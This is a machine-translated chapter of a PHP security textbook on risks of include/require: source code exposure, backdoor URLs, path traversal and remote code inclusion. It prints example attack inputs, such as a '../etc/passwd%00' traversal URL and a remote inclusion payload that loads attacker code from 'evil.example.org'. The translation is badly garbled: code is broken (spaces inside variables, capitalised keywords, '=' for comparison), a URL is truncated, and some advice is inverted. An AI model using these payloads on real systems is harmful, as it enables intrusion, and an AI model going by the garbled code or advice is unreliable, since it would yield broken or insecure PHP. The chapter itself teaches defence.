Chapter 5 of PHP Security Basics

With the increase of PHP projects, software design and organization areCodeIt plays an increasingly important role in maintainability. Although there are different opinions on what is the best programming method (the argument about the advantages of object-oriented is often), basically every developer understands and appreciates the value of modular design.

This chapter describes the security issues that may occur when using the inclusion feature. The include or require file in the script divides your application into two logically separated parts. I will also emphasize and correct some common misunderstandings, especially questions about programming.

 

Tips

When using include and require, use include_once and require_once.

5.1. Source Code exposure

An important question about inclusion isSource code. The main cause of this problem is the following common situations:

 

L use the. inc extension for inclusion files

L contains files stored in the home directory of the website

L Apache does not set the. inc file type

L The default file type of Apache is text/plain.

 

As a result, you can directly access the contained files through URLs. Worse, they will be processed as plain text instead of parsed by PHP, so that your source code will be displayed on your browser (see Figure 5-1 ).

 

Figure 5-1. Source Code exposure on the server

 

It is easy to avoid this situation. You can only reorganize your application and put all the contained files out of the home directory of the website. The best way is to put only the files that need to be publicly published under the Home Directory of the website.

Although this sounds crazy, in many cases it can lead to exposure of source code. I have seen that Apache configuration files are mistakenly written (and not found before next startup). inexperienced System Administrators upgraded Apache but forgot to add PHP support, there are a lot of other situations that can cause source code exposure.

By saving as much PHP code as possible outside the home directory of the website, you can prevent source code exposure. At least, it is the best way to save all the contained files out of the home directory of the website.

Some methods can limit the possibility of source code exposure, but they cannot fundamentally solve this problem. These methods include configuring the. inc file in Apache for the same processing as the PHP file, including the file using the. php suffix, and configuring Apache cannot accept direct requests to the. inc file:

 

<Files ~ "\. Inc $">

Order allow, deny

Deny from all

</Files>

 

Although these methods have their own advantages, none of them is more secure than storing files in the home directory of a website. Do not rely on the above methods to protect your applications, at most treat them as in-depth prevention.

·

5.2. Backdoor URL

A backdoor URL means that resources that do not need to be directly called can be directly accessed through a URL. For example, the following web application may display sensitive information to login users:

 

<? PHP

 

$ Authenticated = false;

$ Authenticated = check_auth ();

 

/*...*/

 

If ($ authenticated)

{

Include './sensitive. php ';

}

 

?>

 

 

Because sensitive. php is located in the home directory of the website, the file can be directly accessed by skipping the authentication mechanism in the browser. This is because all files in the home directory of the website have a corresponding URL address. In some cases, these scripts may execute an important operation, which increases the risk.

To prevent webshell URLs, make sure that all the files contained are stored outside the home directory of the website. All files stored in the home directory of the website must be directly accessed through URLs.

 

5.3. File Name Control

In many cases, dynamic inclusion is used, and the contents of the directory name or file name are saved in a variable. For example, you can cache some of your dynamic pages to reduce the burden on your database server.

 

<? PHP

 

Include "/Cache/commandid _getpolic'username'hangzhou.html ";

 

?>

 

To make this vulnerability more obvious, $ _ Get is used in the example. If you use contaminated data, this vulnerability also exists. Using $ _ Get ['username'] is an extreme example, through which you can better understand the problem.

Although the above process has its advantages, it also provides an opportunity for attackers to freely select the cache page. For example, a user can conveniently view cached files of other users by editing the value of username in the URL. In fact, attackers can simply change the username value to the corresponding file name (without the extension) to view all files under the/cachedirectory with the extension name of .html.

 

Http://example.org/index.php? Username = filename

 

AlthoughProgramThe directory and file name operated by attackers are restricted, but changing the file name is not the only method. Attackers can achieve the goal of moving beyond the file system by looking at their own .html files to discover sensitive information. This is because the parent directory can be used in the string to span directories:

 

Http://example.org/index.php? Username = ../admin/users

 

The running result of the URL above is as follows:

 

<? PHP

 

Include "/Cache/../admin/users.html ";

 

?>

 

At this time, it means the parent directory of/cache, that is, the root directory. The above example is equivalent:

 

<? PHP

 

Include "/admin/users.html ";

 

?>

 

Because all the files are stored in the root directory of the file system, the process allows an attacker to access all the. html files on your server.

 

On Some platforms, attackers can use a null string to terminate a string. For example:

Http://example.org/index.php? Username = ../etc/passwd % 00

In this case, the restriction of the .html file extension is successfully bypassed.

Of course, it is impossible to guess all the malicious attack methods of the attacker. No matter how much control you add to the file, the risk cannot be ruled out. It is important to never use contaminated data during dynamic inclusion. Attack methods are not static, but vulnerabilities do not change. You can fix this vulnerability by filtering data (see Chapter 1 ):

<? PHP

 

$ Clean = array ();

 

/* $ _ Get ['filename'] is filtered and stored in $ clean ['filename']. */

 

Include "/path/to/{$ clean ['filename']}";

 

?>

 

If you confirm that the parameter only contains part of the file name but does not have the path information, another effective technique is to use basename () for data filtering:

 

<? PHP

 

$ Clean = array ();

 

If (basename ($ _ Get ['filename'] =$ _ Get ['filename'])

{

$ Clean ['filename'] = $ _ Get ['filename'];

}

 

Include "/path/to/{$ clean ['filename']}";

 

?>

 

If you allow path information but want to simplify it before detection, you can use the realpath () function:

 

<? PHP

 

$ Filename = realpath ("/path/to/{$ _ Get ['filename']}");

 

?>

 

 

The result ($ filename) obtained through the above program can be used to confirm whether it is in the/path/to directory:

 

<? PHP

 

$ Pathinfo = pathinfo ($ filename );

 

If ($ pathinfo ['dirname'] = '/path/')

{

/* $ Filename is within/path/*/.

}

 

?>

 

If the detection fails, you should record the request to the attack log for future query. This is especially important when you take this process as a preventive measure, because you need to determine the reasons for the failure of other security measures.

 

5.4. Code Injection

A particularly dangerous situation is when you try to use contaminated data as the leading part of dynamic inclusion:

<? PHP

 

Include "{$ _ Get ['path']}/header. Inc ";

 

?>

 

In this case, attackers can manipulate not only file names, but also the resources they contain. By default, PHP can contain not only files, but also the following resources (controlled by allow_url_fopen in the configuration file ):

 

<? PHP

 

Include 'HTTP: // www.google.com /';

 

?>

 

The include statement contains the http://www.google.com's web page source code as a local file at this time. Although the above example is harmless, imagine what happens if the source code returned by Google contains PHP code. In this way, the included PHP code will be parsed and executed. This is a good opportunity for attackers to release malicious code to destroy your security system.

Imagine that the path value points to the resources controlled by the following attackers:

 

Http://example.org/index.php? Pat... e.org % 2fedevil. inc % 3f

 

In the preceding example, the path value is URL encoded. The original value is as follows:

Http://evil.example.org/evil.inc?

 

This causes the include statement to include and execute the script selected by the attacker (edevil. INC), and the original file name/header. Inc will be considered as a request string:

 

<? PHP

 

Include "http://evil.example.org/evil.inc? /Header. Inc ";

 

?>

 

In this way, attackers avoid the need to guess the remaining directory and file name (/header. onc) and establish the same path and file name on evil.example.org. On the contrary, when the specific file name of the website under attack is blocked, he only needs to ensure that the Code he wants to execute is valid in edevil. Inc.

This situation is as dangerous as allowing attackers to directly modify PHP code on your website. Fortunately, you only need to filter data before the include and require statements to prevent this situation:

 

<? PHP

 

$ Clean = array ();

 

/* $ _ Get ['path'] is filtered and stored in $ clean ['path']. */

 

Include "{$ clean ['path']}/header. Inc ";

 

?>